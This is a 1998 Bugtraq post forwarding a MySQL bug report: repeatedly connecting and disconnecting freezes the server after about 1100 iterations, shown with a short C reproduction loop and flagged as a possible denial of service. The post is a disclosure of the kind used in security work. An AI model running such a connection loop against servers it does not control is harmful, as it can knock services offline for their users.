[7676] in bugtraq
MySQL DoS ?
daemon@ATHENA.MIT.EDU (Phear Me)
Fri Aug 14 21:43:04 1998
X-Complaints-To: abuse@cookie.monster.org
Date: Sat, 15 Aug 1998 03:15:49 +0200
Reply-To: patrick@cookie.monster.org
From: Phear Me <patrick@COOKIE.MONSTER.ORG>
To: BUGTRAQ@NETSPACE.ORG
This appeared at the MySQL list:
Date: Fri, 14 Aug 1998 18:50:02 +0200
From: Jochen Wiedmann <joe@ispsoft.de>
Subject: mysql: Connecting/Disconnecting 1100 times freezes server
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Date: Fri, 14 Aug 1998 18:42:55 +0200
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Message-Id: <199808141642.SAA08052@laptop.ispsoft.de>
From: joe
To: mysql@tcx.se
Subject: connecting/disconnecting 1100 times freezes server
>Description:
A simple test script that connects/disconnects in an endless
loop makes the MySQL server freeze after approximately 1100
iterations.
Is this a bug or a security related feature? If the latter,
can I turn it off somehow, as it prevents me from
investigating a memory leak in the DBD::mysql's connect
method.
>How-To-Repeat:
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <mysql/mysql.h>
int main(int argc, char* argv[]) {
MYSQL sock;
int i = 0;
while (1) {
if (++i % 100 == 0) {
printf("%d\n", i);
}
mysql_init(&sock);
if (!mysql_real_connect(&sock, NULL, NULL, NULL, NULL,
0, NULL, 0)) {
fprintf(stderr, "Cannot connect: %s\n",
mysql_error(&sock));
exit(10);
}
mysql_close(&sock);
}
}
>Fix:
Not known
